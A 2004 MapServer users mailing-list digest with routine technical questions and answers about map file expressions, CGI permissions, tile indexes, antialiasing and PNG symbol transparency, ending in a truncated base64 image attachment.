-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of ESSC Admin
Sent: Tuesday, March 16, 2004 1:33 PM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] pre-compiled mapserver 4.01

Hello everyone. I am having a tough time in trying out the mapserver application. I need it to run on my website that runs on linux. however, I don't have a linux box where i can compile the application even with default options. And i don't have any access on my website besides ftp. Is there a pre-compiled maserv available out there that i could download and try? If anyone has it or willing to help me by compiling them for me, I will greatly appreciate it. My email address is mail at bahayserver.net Any help is welcome. Thanks a bunch.
------_=_NextPart_001_01C40B88.5DB9E605-- From bob.basques at ci.stpaul.mn.us Tue Mar 16 11:05:04 2004 From: bob.basques at ci.stpaul.mn.us (Bob Basques) Date: Tue, 16 Mar 2004 13:05:04 -0600 Subject: [Mapserver-users] gdaltindex Message-ID: <40574FE0.4020401@ci.stpaul.mn.us> This is a multi-part message in MIME format. --------------060508010801020703020507 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit All, I'm getting an error during use: "Argument list too long" - I imagine that it has to do with how many files I'm trying to pass in, is there a way to increase the number for input, which is around 2250 tiles. I also need to do another with ~9000 tiles. The 2250 was when it stopped working? Is there another version of the utility for really big tile lists? Thanks bobb --------------060508010801020703020507 Content-Type: text/x-vcard; charset=utf8; name="bob.basques.vcf" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="bob.basques.vcf" begin:vcard fn:Bob Basques n:Basques;Bob adr;dom:;;;Saint Paul email;internet:bob.basques at ci.stpaul.mn.us tel;work:651.266.6188 x-mozilla-html:TRUE version:2.1 end:vcard --------------060508010801020703020507-- From steve.lime at dnr.state.mn.us Tue Mar 16 11:09:42 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Tue, 16 Mar 2004 13:09:42 -0600 Subject: [Mapserver-users] expressions Message-ID: The =/eq operator implies an exact match. You need a substring matching operator. Regular expressions should do the trick. Try: CLASSITEM 'progfocus' CLASS EXPRESSION /amphibian/ ... END Steve >>> "Paul Dymecki" 3/16/2004 12:50:23 PM >>> Hello, I was wondering how to create an expression to pull out a string from an attribute table, Ex: i want to pull out the word amphibian from a field that has "amphibian,marine,birds". Here is what i have so far: CLASS NAME "progFocus" EXPRESSION ('[progFocus]' = 'amphibian' ) # doesn't work when progFocus = 'amphibian,marine,bird' STYLE SYMBOL 3 COLOR 0 0 0 SIZE 6 MINSIZE 1 MAXSIZE 100 END END Would this require a regex expressions ? thx, Paul From steve.lime at dnr.state.mn.us Tue Mar 16 11:12:57 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Tue, 16 Mar 2004 13:12:57 -0600 Subject: [Mapserver-users] Retrieving shape extent - Email found in subject Message-ID: You will have to call MapServer for each result unless you're using MapScript. With MapScript you could generate 50 images with a single call. The overhead of such a setup is not bad at all (depending on the complexity of the little images of course). Steve >>> "Ryan, Adam" 3/15/2004 7:35:05 PM >>> Steve et al, When you write "You can also build images based on query results independent of the query map" do you mean that in each template iteration we can build a unique image with the [img] tag, or do you mean that in each iteration we can re-call mapserver using [shpidx] or some other tag and mode=map? If the answer is the former, could you please elaborate on how that would be accomplished. I can imagine a result page that includes a little image of each result accompanying the attribute data, but I can't see how you'd do that without calling mapserver for each result record. Thanks, Adam Ryan -----Original Message----- From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] Sent: Monday, March 15, 2004 11:49 AM To: charlie at im-design.net; mapserver-users at lists.gis.umn.edu Subject: RE: [SPAM] - Re: [Mapserver-users] Retrieving shape extent - Email found in subject Assuming you're using a query map you'd just use the [img] tag to get at the image. No extra trip necessary. You can also build images based on query results independent of the query map. Steve >>> "Charles D. Van Dusen" 3/15/2004 1:16:03 PM >>> OK (understood) So, how do I get the map while in non-map mode? Does it require an extra round-trip to the server or is the image created? Im working with the 'workshop' demos (specifically the dhtml banding box demo), which I believe has its template specified as 'itasca_adds_dhtml.html'. TIA Charlie Charlie Van Dusen charlie at im-design.net -----Original Message----- From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] Sent: Monday, March 15, 2004 1:15 PM To: Charles D. Van Dusen; mapserver-users at lists.gis.umn.edu Subject: [SPAM] - Re: [Mapserver-users] Retrieving shape extent - Email found in subject When you're in a ...MAP mode you only get the map, that's the point. However you can still get a map with in a non-map mode, but you work through a template instead. Won't that work for you? Steve >>> "Charles D. Van Dusen" 3/13/2004 11:38:59 AM >>> Greetings All, Is it possible to retrieve the extent of a shape selected whil in 'indexquerymap' mode? So far I have not been able to retrieve anything but the image of the selected shape. I need to have the extent ([shpext]) as well, but I have only been able to retrieve it in 'indexquery' mode. Any ideas Thanks Charlie _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From dblasby at refractions.net Tue Mar 16 11:39:04 2004 From: dblasby at refractions.net (David Blasby) Date: Tue, 16 Mar 2004 11:39:04 -0800 Subject: [Mapserver-users] postgis order by In-Reply-To: <5.1.0.14.0.20040315142016.02d834d0@mail.zedxinc.com> References: <5.1.0.14.0.20040315122725.02d8c150@mail.zedxinc.com> <5.1.0.14.0.20040315122725.02d8c150@mail.zedxinc.com> <5.1.0.14.0.20040315142016.02d834d0@mail.zedxinc.com> Message-ID: <405757D8.3080602@refractions.net> Nick Petersen-Bergeron wrote: > The order by seems to be ignored doing this. 1. are you ordering in the correct direction? (i.e. the query I gave you puts them in "1,2,3,4..." order. If you want them in "100,99,98,..." order, you'll need to add 'DESC' to your query.) 2. is the column your sorting on the correct datatype? For example, if you have integer values stored as strings, the sort will be incorrect (i.e. "1","10","100","11",...). If you put a "DEBUG TRUE" in your layer, and you see the "ORDER BY" clause in your query, then the database is almost certainly doing what you ask. dave From sd at dil.in Tue Mar 16 11:58:57 2004 From: sd at dil.in (Saurabh Data) Date: Tue, 16 Mar 2004 19:58:57 +0000 Subject: [Mapserver-users] running in cgi-bin Message-ID: Dear readers, hi, I am running my mapserv file from a cgi-bin directory on apacahe server. But when I try to access it online through internet explorer, it downloads the file rahter than running. As per the documentation I think I should expect the output to be : "No query information to decode. QUERY_STRING is set, but empty." why does it download it ? I think it might be something to do with permisission . It so can someone tell me the permission set for this file. I currently have : -rwxr-xr-- 1 ctzsd1 ctz 398342 Mar 16 06:48 mapserv any ideas ? cheers Saurabh ___________________________________________________________________ Saurabh Data School of Computing University of Leeds Leeds LS2 9JT U.K. one who seeketh , will findeth and all door shall open - james Allen ___________________________________________________________________ _________________________________________________________________ Find a cheaper internet access deal - choose one to suit you. http://www.msn.co.uk/internetaccess From john.hagstrand at interageresearch.com Tue Mar 16 12:03:44 2004 From: john.hagstrand at interageresearch.com (John Hagstrand) Date: Tue, 16 Mar 2004 14:03:44 -0600 Subject: [Mapserver-users] antialiased lines and polygons Message-ID: Hi, The latest version of GD can do antialiased lines and polygons. Can we do that from MapServer as well? Thanks John Hagstrand From wdw at rti.org Tue Mar 16 12:09:45 2004 From: wdw at rti.org (Wheaton, William D.) Date: Tue, 16 Mar 2004 15:09:45 -0500 Subject: [Mapserver-users] Can't display layer w/ php/mapscript Message-ID: This is probably something pretty simple (I hope). I'm just trying to create a class and style using php/mapscript rather than relying on the map file...Eventually, I need to generate 60 classes and so I want to do it with some code rather than putting all that in a .map file. But, I can't get over the very first hurdle. I have a class and style in the map file, but I want to either eliminate it or just override it in the script. Here's the relevent part of the map file: LAYER PROJECTION "proj=latlong" "ellps=clrk66" END CONNECTIONTYPE postgis NAME "Respondents" GROUP "Base Data" CONNECTION "user=xxx dbname=xxx password=xxxx" DATA "the_geom from resp" STATUS ON TYPE POINT METADATA LYRNAME "Respondents" END CLASS STYLE COLOR -1 -1 -1 END END END And here's the code from the script: $layer = $map->getlayerbyname('Respondents'); $class = ms_newClassObj($layer); $style = ms_newStyleObj($class); $style->set("symbolname", "field_interviewer"); $style->set("size", 4); $style->color->setRGB(0, 255, 0); $class->set("status", "MS_ON"); $layer->set("status", MS_ON); $image=$map->draw(); $image_url=$image->saveWebImage(MS_PNG,1,1,0); Other layers (that are in the map file, but that aren't handled in php/mapscript) show up, but this one doesn't. Thanks in advance for any advice! Bill From david.mitchell at telogis.com Tue Mar 16 12:22:55 2004 From: david.mitchell at telogis.com (David Mitchell) Date: Wed, 17 Mar 2004 09:22:55 +1300 Subject: [Mapserver-users] connection pooling In-Reply-To: <40572880.2080003@frw.uva.nl> References: <40572880.2080003@frw.uva.nl> Message-ID: <4057621F.7090408@telogis.com> > I'm afraid connection pooling takes only place for databases, and AFAIK > is implemented only for SDE databases at this moment. Moreover, it only > pools the original connection to the database, not the actual generation > of the maps: these are still generated sequentially. So this means there is no connection pooling support for postgis? -- David Mitchell Software Engineer Telogis NOTICE: This message (including any attachments) contains CONFIDENTIAL INFORMATION intended for a specific individual and purpose, and is protected by law. If you are not the intended recipient, you should delete this message and are hereby notified that any disclosure, copying, or distribution of this message, or the taking of any action based on it, is strictly prohibited. From Tom.Kralidis at ec.gc.ca Tue Mar 16 12:10:43 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Tue, 16 Mar 2004 15:10:43 -0500 Subject: [Mapserver-users] running in cgi-bin Message-ID: <2576812186CDD411BF1500508B6DCE9506436FAE@ECNWRI1.ontario.int.ec.gc.ca> > -----Original Message----- > From: Saurabh Data [mailto:saurabhdata at hotmail.com] > Sent: Tuesday, March 16, 2004 2:59 PM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] running in cgi-bin > > > Dear readers, > > hi, I am running my mapserv file from a cgi-bin directory on > apacahe server. But when I try to access it online through > internet explorer, it downloads > the file rahter than running. As per the documentation I > think I should > expect the output to be : > > "No query information to decode. QUERY_STRING is set, but empty." > > why does it download it ? I think it might be something to do with > permisission . It so can someone tell me the permission set > for this file. I > currently have : > > -rwxr-xr-- 1 ctzsd1 ctz 398342 Mar 16 06:48 mapserv > > any ideas ? > Does anything else work in cgi-bin/ on the server? Also, you may want to make the mapserv executable 755 for privs, depending on the user set for httpd and the ownership of the file itself. Also, make sure this is in your conf/httpd.conf file: ScriptAlias /cgi-bin/ "/path/to/cgi-bin/" AllowOverride None Options None Order allow,deny Allow from all As a double check, what does running mapserv on the command give you? ..Tom ========================= Tom Kralidis Systems Scientist Environment Canada Tel: +01-905-336-4409 http://www.ec.gc.ca/cise/ From gayathri at ou.edu Tue Mar 16 12:25:20 2004 From: gayathri at ou.edu (Swaminathan, Gayathri) Date: Tue, 16 Mar 2004 14:25:20 -0600 Subject: [Mapserver-users] running in cgi-bin Message-ID: <3FC4483968B5A048BBD9F3387EBFF5C0A23F6C@XMAIL1.sooner.net.ou.edu> Saurabh, Refer, http://mapserver.gis.umn.edu/doc40/unix-install-howto.html#d45e424 Under section: Common Problems-> File Permissions HTH, Gayathri > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > Saurabh Data > Sent: Tuesday, March 16, 2004 1:59 PM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] running in cgi-bin > > > Dear readers, > > hi, I am running my mapserv file from a cgi-bin directory on > apacahe server. But when I try to access it online through > internet explorer, it downloads > the file rahter than running. As per the documentation I > think I should > expect the output to be : > > "No query information to decode. QUERY_STRING is set, but empty." > > why does it download it ? I think it might be something to do with > permisission . It so can someone tell me the permission set > for this file. I > currently have : > > -rwxr-xr-- 1 ctzsd1 ctz 398342 Mar 16 06:48 mapserv > > any ideas ? > > cheers > > Saurabh > > > > > ___________________________________________________________________ > > Saurabh Data > School of Computing > University of Leeds > Leeds LS2 9JT > U.K. > > one who seeketh , will findeth and all door shall open - > james Allen > ___________________________________________________________________ > > _________________________________________________________________ > Find a cheaper internet access deal - choose one to suit you. > http://www.msn.co.uk/internetaccess > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From steve.lime at dnr.state.mn.us Tue Mar 16 13:38:34 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Tue, 16 Mar 2004 15:38:34 -0600 Subject: [Mapserver-users] antialiased lines and polygons Message-ID: GD's support for antialiasing (last I checked) is for lines only, and single width solid lines at that. MapServer does support the use of them but only under certain circumstances. Basically anyplace you use a single pixel solid line- line drawing, point symbol rendering (I think) and polygon outlines. There is no support for anti-aliased brushes (e.g. using symbol 'circle'). In general I've been disappointed with the GD antialiasing. It's pretty limiting and is noticably slower. To enable at 'ANTIALIAS TRUE' to your STYLEs (inside a CLASS). Steve >>> "John Hagstrand" 3/16/2004 2:03:44 PM >>> Hi, The latest version of GD can do antialiased lines and polygons. Can we do that from MapServer as well? Thanks John Hagstrand _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Tue Mar 16 13:41:22 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Tue, 16 Mar 2004 15:41:22 -0600 Subject: [Mapserver-users] gdaltindex Message-ID: That's probably a shell error as opposed to a problem with the utility. I've run into that with /bin/csh before. Using bourne shell instead has worked in the past. Steve >>> Bob Basques 3/16/2004 1:05:04 PM >>> All, I'm getting an error during use: "Argument list too long" - I imagine that it has to do with how many files I'm trying to pass in, is there a way to increase the number for input, which is around 2250 tiles. I also need to do another with ~9000 tiles. The 2250 was when it stopped working? Is there another version of the utility for really big tile lists? Thanks bobb From steve.lime at dnr.state.mn.us Tue Mar 16 13:45:20 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Tue, 16 Mar 2004 15:45:20 -0600 Subject: [Mapserver-users] Mapserver symbols and transparency Message-ID: To be honest with you I've never tried 24-bit symbols. MapServer takes its transparency direction for pixmap symbols from the image file itself. If you supply a transparent GIF then you'll get a transparent symbol. It's been awhile but I believe the transparent directive has no effect in this case. Can you even create 24-bit transparent PNG images, and does GD respect the transparency? Steve >>> "James Anderson" 3/16/2004 10:30:22 AM >>> Hiya, I am having problems using images with transparency for symbols with the pixmap directive. I am using a .png file as this seems to be the easiest. Here is my problem: When I use an 8bit png file with transparency, all works fine, the symbol overlays over the map. The problem occurs when I use a 24bit png file. It overlays ok, but the portions of the symbol that are transparent become totally transparent in the image output by mapserver. I Am currently using png format for output. This means that I can see my webpage background through the image, and this totally sux. Why is this ? Am I doing something wrong ? I would have thought that 24bit images with transparency or translucency would be combined with whatever layers where below the symbol, but it seems not so. Can anyone help ?? Thanks, James. From zak-ms at hoppsan.org Tue Mar 16 13:55:58 2004 From: zak-ms at hoppsan.org (Zak James) Date: Tue, 16 Mar 2004 16:55:58 -0500 Subject: [Mapserver-users] PHP MapScript on Mac OS X? In-Reply-To: <4F922D99-7772-11D8-8856-000393CACF38@ll.mit.edu> References: <4F922D99-7772-11D8-8856-000393CACF38@ll.mit.edu> Message-ID: Gary, These instructions provide some hints on support library builds and compiling mapserver, though they are a little out of date: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MacOS With a recent version of OS X like 10.3 and recent versions of mapserver (from cvs) the build should proceed without problems after running configure. I encourage you to add any updated solutions you find to the wiki page above, so that others can benefit from your experiences. zak -- Zak James Applications and Software Development DM Solutions Group Inc. http://www.dmsolutions.ca On Mar 16, 2004, at 12:49 PM, Gary Condon wrote: > All, > > I am trying to get PHP MapScript up and running on Mac OS X 10.3 but, > so far, without success. > > I have tried using the precompiled version provided by Server > Logistics but I can't dl() the module under PHP 4.3.4 or 5.0b4. > > Has anybody out there gotten this to work? If so, how? > > Thanks is advance, > > Gary > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From rsanabria at prosis.com Tue Mar 16 14:24:43 2004 From: rsanabria at prosis.com (=?ISO-8859-1?Q?Ricardo_Sanabria_Mart=EDnez?=) Date: Tue, 16 Mar 2004 17:24:43 -0500 Subject: [Mapserver-users] Mapserver and ArcSDE Message-ID: <40577EAB.5070701@prosis.com> Hi Guys, Can Mapserver work with ArcSDE on Windows? Thanks Ricardo -- Ricardo Sanabria Mart?nez Ingeniero de Soporte SIG PROCALCULO PROSIS Tel 6357272 Fax 6357260 From siki at agt.bme.hu Tue Mar 16 16:48:52 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Tue, 16 Mar 2004 23:48:52 -0100 (GMT+1) Subject: [Mapserver-users] running in cgi-bin {Scanned} In-Reply-To: Message-ID: Hi, On Tue, 16 Mar 2004, Saurabh Data wrote: > Dear readers, > > hi, I am running my mapserv file from a cgi-bin directory on apacahe server. > But when I try to access it online through internet explorer, it downloads > the file rahter than running. As per the documentation I think I should > expect the output to be : > > "No query information to decode. QUERY_STRING is set, but empty." > > why does it download it ? I think it might be something to do with > permisission . It so can someone tell me the permission set for this file. I > currently have : > > -rwxr-xr-- 1 ctzsd1 ctz 398342 Mar 16 06:48 mapserv > mapserv must be executable by the apache user, which is usually/default apache:apache (user and group name are the same). Your mapserv is not executable by apache, it is executable only by ctzsd1 user and ctz group. 1. solution chmod +x mapserv (executable by anybody) 2. solution chown apache:apache mapserv You sould check the user name what apache uses, check config file in /etc/httpd/ Bye Zoltan From Heiko.Kehlenbrink at vermes.fh-oldenburg.de Tue Mar 16 22:18:08 2004 From: Heiko.Kehlenbrink at vermes.fh-oldenburg.de (Heiko Kehlenbrink) Date: Wed, 17 Mar 2004 07:18:08 +0100 (CET) Subject: [Mapserver-users] grouping layer In-Reply-To: <000501c40b5d$131824f0$2d00a8c0@at11> References: <47207.195.243.253.146.1079441536.squirrel@webmail.fh-oldenburg.de> <000501c40b5d$131824f0$2d00a8c0@at11> Message-ID: <54817.195.243.253.146.1079504288.squirrel@webmail.fh-oldenburg.de> hi gijs, thank you for the hind, but i came along that road, i first use a tileindex with the raster maps but within maplab the query function seams to be disturbed by the shape file used to held the extents of the raster maps. so using the grouping function i thouhght i could work around that problem. are you aware about the "group" functionality ? best regards heiko > > Create a tileindex > > Locate gdaltindex on the server or compile it see the url below to find > it > > With linux the command is aa following > [root at atsence2 tileindex]# ./gdaltindex tileindex.shp > /var/www/html/datalocal/tiffdir/*.tif > > > In the map file you put the following > > LAYER > NAME top25 > GROUP raster_layers > STATUS ON > TYPE RASTER > TILEINDEX /var/www/html/datalocal/tileindex/test.shp > TILEITEM "location" > END > > The TILEITEM is default keep it this way! > > > http://www.remotesensing.org/gdal/ > > http://mapserver.gis.umn.edu/doc/raster-howto.html > > > > > -----Oorspronkelijk bericht----- > Van: Heiko Kehlenbrink [mailto:Heiko.Kehlenbrink at vermes.fh-oldenburg.de] > > Verzonden: dinsdag 16 maart 2004 13:52 > Aan: mapserver-users at lists.gis.umn.edu > Onderwerp: [Mapserver-users] grouping layer > > hi list, > > i have a bunch of raster layer like the following: > > LAYER > NAME "5243" > GROUP "Ortho" > STATUS OFF > TYPE RASTER > TEMPLATE "ttt.html" > DATA "/srv/www/htdocs/world/data/16webbay/2995243.tif" > PROJECTION > "init=epsg:26915" > END > END > > LAYER > NAME "5244" > GROUP "Ortho" > STATUS OFF > TYPE RASTER > TEMPLATE "ttt.html" > DATA "/srv/www/htdocs/world/data/16webbay/2995244.tif" > PROJECTION > "init=epsg:26915" > END > END > > > I hoped that i could select them all with the GROUP - Name but did not > succseded. > How must i define a layer which brings all Layers of one Group to view? > > best regards > > Heiko Kehlenbrink > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > From Heiko.Kehlenbrink at vermes.fh-oldenburg.de Tue Mar 16 22:21:22 2004 From: Heiko.Kehlenbrink at vermes.fh-oldenburg.de (Heiko Kehlenbrink) Date: Wed, 17 Mar 2004 07:21:22 +0100 (CET) Subject: [Mapserver-users] grouping layer In-Reply-To: <4056A923.4070903@greenwoodmap.com> References: <47207.195.243.253.146.1079441536.squirrel@webmail.fh-oldenburg.de> <4056A923.4070903@greenwoodmap.com> Message-ID: <54870.195.243.253.146.1079504482.squirrel@webmail.fh-oldenburg.de> > Heiko Kehlenbrink wrote: >> hi list, >> >> i have a bunch of raster layer like the following: >> >> LAYER >> NAME "5243" >> GROUP "Ortho" >> STATUS OFF >> TYPE RASTER >> TEMPLATE "ttt.html" >> DATA "/srv/www/htdocs/world/data/16webbay/2995243.tif" >> PROJECTION >> "init=epsg:26915" >> END >> END >> >> LAYER >> NAME "5244" >> GROUP "Ortho" >> STATUS OFF >> TYPE RASTER >> TEMPLATE "ttt.html" >> DATA "/srv/www/htdocs/world/data/16webbay/2995244.tif" >> PROJECTION >> "init=epsg:26915" >> END >> END >> >> >> I hoped that i could select them all with the GROUP - Name but did not >> succseded. >> How must i define a layer which brings all Layers of one Group to view? >> >> best regards >> >> Heiko Kehlenbrink >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> > > Try STATUS ON > You might also find a tile index to work better. > > -- > Richard Greenwood > www.greenwoodmap.com > > hi richard, thanks for your help. the layers are still functionally, by means i could turn them on in the legend. i hoped to turn them all together on and out with the group function. best regards heiko From james at danisat.net Tue Mar 16 23:34:45 2004 From: james at danisat.net (James Anderson) Date: Wed, 17 Mar 2004 09:34:45 +0200 Subject: [Mapserver-users] Mapserver symbols and transparency References: Message-ID: <009e01c40bf2$730ab810$0b220a0a@beast> This is a multi-part message in MIME format. ------=_NextPart_000_009B_01C40C03.15A38650 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Hiya, Yes you can create 24bit transparent png files. The png file has a full alpha channel for each pixel, so you actually get translucency. I cannot use GIFs because my company does not like the patent issues involved with gifs, and it will still be awhile before the LZW patent expires internationally. I have no idea how GD behaves. Take a look at the images attached. Ok, ignore the sizes of the images. The car is smaller in the 24bit image. The problem is with the 24bit image, the parts of the image that are transparent become totally transparent in the output image, so I can see my webpage background. I have come to believe this problem is because the mapserver only outputs 8bit png files. Is there any way I can force the mapserver to create 24bit images ? Thanks, James. ----- Original Message ----- From: "Steve Lime" To: ; Sent: Tuesday, March 16, 2004 11:45 PM Subject: Re: [Mapserver-users] Mapserver symbols and transparency | To be honest with you I've never tried 24-bit symbols. MapServer takes | its transparency direction for pixmap symbols | from the image file itself. If you supply a transparent GIF then you'll | get a transparent symbol. It's been awhile but I | believe the transparent directive has no effect in this case. Can you | even create 24-bit transparent PNG images, and | does GD respect the transparency? | | Steve | | >>> "James Anderson" 3/16/2004 10:30:22 AM >>> | Hiya, | | I am having problems using images with transparency for symbols with | the pixmap directive. I am using a .png file as this seems to be the | easiest. | Here is my problem: When I use an 8bit png file with transparency, all | works fine, the symbol overlays over the map. The problem occurs when I | use a 24bit png file. It overlays ok, but the portions of the symbol | that are transparent become totally transparent in the image output by | mapserver. I Am currently using png format for output. This means | that I can see my webpage background through the image, and this totally | sux. Why is this ? Am I doing something wrong ? I would have | thought that 24bit images with transparency or translucency would be | combined with whatever layers where below the symbol, but it seems not | so. Can anyone help ?? | | Thanks, | | James. | _______________________________________________ | Mapserver-users mailing list | Mapserver-users at lists.gis.umn.edu | http://lists.gis.umn.edu/mailman/listinfo/mapserver-users ------=_NextPart_000_009B_01C40C03.15A38650 Content-Type: image/png; name="mapserv using 24bit.png" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="mapserv using 24bit.png" iVBORw0KGgoAAAANSUhEUgAAAhwAAAEsCAMAAAHItaroAAADAFBMVEUAAAAcHBz+/v7v7++bm5tj Y2Pl5eX+/v6UlJSUlJT09PS9vb3W1tbl5eVwfn6NjYwVFRWlpaUICAjl5eVjY2P09PSUlJSysrIV FRWBgXc1NTUICAiPmJh0dHQVFRUICAhhXFpWVlarq6tqamp8fHzCwsLe3t5jY2NCQkKlpaWrq6ul paVWVlZ8fHzW1tb+/v7l5eWysrKbm5vCwsLMzMzMzMyrq6uUlJT09PSenIdeW0kLCwo3NzGnp5YT ExEfHhgjIyDc2bdfQjB3d2sfHxo/OzS7tY9PT0c+PTFeXExfNiF/QSOfZEQXFxXZ0qFeXVGfgmp/ SC0PDw7ffk4nJyN/fm/d2r3fw6a+vac/IBE7OzVdWkUHBwe/kHAfGxeblnM/NCpfWU5vb2R/UDe/ bEO8t5M+PC+cmHtAQDkvLiY/Pja9uJk+Pjg+PC5+e2bDw68fHhePj4FHR0CenYs3NzLfcT0DAwPc 17I/PTM/PjR+fWx9eV9fXlMfEAja06e9up2Li33b1ay/hGGcl3e6tIqfUSsfHxu6soXe3MMfEgud m4NfMBq9u6JdWke/eFJdWUI/Pze/p458eFwfHRa/YTTfmnEfHhk+OyzZ0JublG98d1n/wJb9+9yr q5k/Pzl/f3MfHxy/v6zf38n79MVfX1afn4//kVr8+NL/0Kr9+tn68r//79L/oW7+/N//37758Lj/ sIL89sz//+ZxgoJhXFprVk9CQkJXRD13cW+Xgnx0dHR3b21MTU01NTV5eWXQ0JO8vJ/g4KuMjELU 1FqgoGyBgXfX12yGhj06OzuysrKrq6t8fHxqamqNjYylpaWbm5tjY2N9hoZxmJhulpZ2lpaDlpaJ lpaDg4OUlJQqKioduroR//+Ajo5bW1tkn58tcXFUbW0A9/cr//9e//+T//99qqo+//9C//90//+h ///M/Pxse3uWsrIksrIA//8Y//9Q//+D//+u//+JoKBZZWVQZmZNcnJYcnJhcnJha2tWVlb/gkYA AAB053z57rIAAP9gzYhXAAAAOXRSTlMAAAAUl+0gBJ21CFg4Ive7CHocJu8MwX4Ky/EWqd8QGvnf dMvLdETx042NmfHBbghOo7l8fIOjuSDyQM35AAAgAElEQVR4nMy9CXgcR5YmVjO+b3t8X+v7WK9v z9oGNSg1JTWr0BTEbnaRFEQ2KEEjwSRNAs1DlABBJFtiFSmCXRKTZFWB/kAgC2AxCywWq+xpX9uG YcvXTM/0+JwZ2+Pba3uxHnvXa9jb8TI+5xURL67MBEhNO7pFZGVGRr74448XL15chdIW+HEgvk8p NGkcCAn+C/4CfUrl0GorN2hhM0ogTGgYJkJHO18Ae8gvnOgHIR5AcI+0+INanAiTw4fwKn607kXv d6M3Y7mkVK9zGT6NE2Fy+KXoCn2ehyilMJmlaXSXMBGTRKLX7/pckjic8giFJfwO6aN8BjcA6nIi 5TAhgl+5G+aoJ5LRBaS0JycShZHgEco+z5kETBhqTYpCIShZ4LiCr6QgAMJQCYkpgUQSCCkShmKY CCSflN9HabQOqRlLslOKcwM+MLG7ocASHiyd24pgJEwEiH8mSmPn+1EZkzid+eDf3im6MYxifki1 wgeesViSdyOukKiMSSI9IZC8Ffw1kSdMApLshK9u+5z8BzAGIc3iq5qBhRvsTiSJy5NI6BY97aGP goXK0QNUd0hcRLxoCcSkJDxZoiZTj+6/2Y4kWeNsA0R8iU+6GGGIMwuMsZEYW3F+gget4NlD8S5I dNXyVGBYBOFbCShB/CvB0/sxaL/4iwXr2zQu/4SxgDMEKFaQyB8UbLkJwmdRHAEsTyX+GcX5VVrY +rcKSlakFEnM2E2RIV9KcfGgx7OD06k35ORIwS9iloR1ILl8yFNEn42560l16nIgyWZABf+QKgps oR8e508i0dRDfrnycjfA5NsYjEi5gCF/caFxNJY+jv/eOdsNgb0Yv3E5woHIL7Kf4ythKgNJz5yO rrq8iMPgoheLIlPiAijT0nFGPNSEcR1b9JOcGLISJZs0D7xgPhUFxBO5G+fHlEQSzvfjl3Ti8UTO +BokSoBxRd1y9VBgeScYAmPQBOAQFRIoROHIKbH8BX+o0CwIYIpUARZbSsQmishUWHd4qwPR5TD4 U5RyV2YXU+C1u7M2YDcN30XybAtJ5PrMaoKiHg0ZCn5VpfwQGRha68fArqO3hTTAK9E9NZFIjqi8 Z5vdBNgzEAOCZSiKsgL4kiUCUaMHKDc01mzEf8wEWdj5YCd6jwCgJIk/g8vHqx0D3BYUgGegFEaa VQowCM3B+xKcd7XCSWovgc34Q4Oh81GSzhEWyZuL8k/acavcE687cQEzRr7rs/atCxu8CIia+zC8 yu/EzUEiBcOeswCoKy6t7YUXp5G8vhhVDRSgJ15NCuMWFb8jMeFQKChifFQ04tM0qPS0eYpO8Kpv EGZM5CVIxwVWeuLj1haPl+ySSCMuX4LNEiIn5GAxTsu1B6uAbcdPskkjm4MjE/Q0FtA71aRMWDkW uK6Juc5LTDJK9MomPsC6BfM8R5Qp4Hp88S5dsVhYRE4janbj+gFePX5eljtIHygKBKcZVf91kU6b xUhaOPZij+phUaTh+4e4BiaiUVqWxLYVM0nSgBmm5N1ESzAZTG2TFkKecpoCKSUM+SAQvY5aVwtL m7FG4o0VxBokKfSVQMouTsGYCdqJLguEm0T+Q2AaL7I4B1F6dmMxDFHhyU0VrzMiFP7sX1ng39UE +wKnAXKrkMQKuFL4yd+hyLGEk4EIj+KGwBSwQJX15RLLC1JNQO9ImITlssD5hbNULLvMTkoMGcDv oeAEcuxEDPdVUwbbeRB3EQinyytJokCd06A2/2HH5K6a3M4aQ5r3SjYSGfZHZlUi8SgvFv/EY9Wo CTvp5JRUKhEzlpBBJJWI1L7FIbS4aOuGoWzjNEA1xwgcwwnyPwqU1zu8ejM8SiX1HTUIDRsHoSwL 4iWwvMzSqFNLKDAL1bO8Kox73GIpaYDaIbJmRg1Sxxe/RNC/0d0Ku0haBKVQSJwX0X1wQ00G53cM 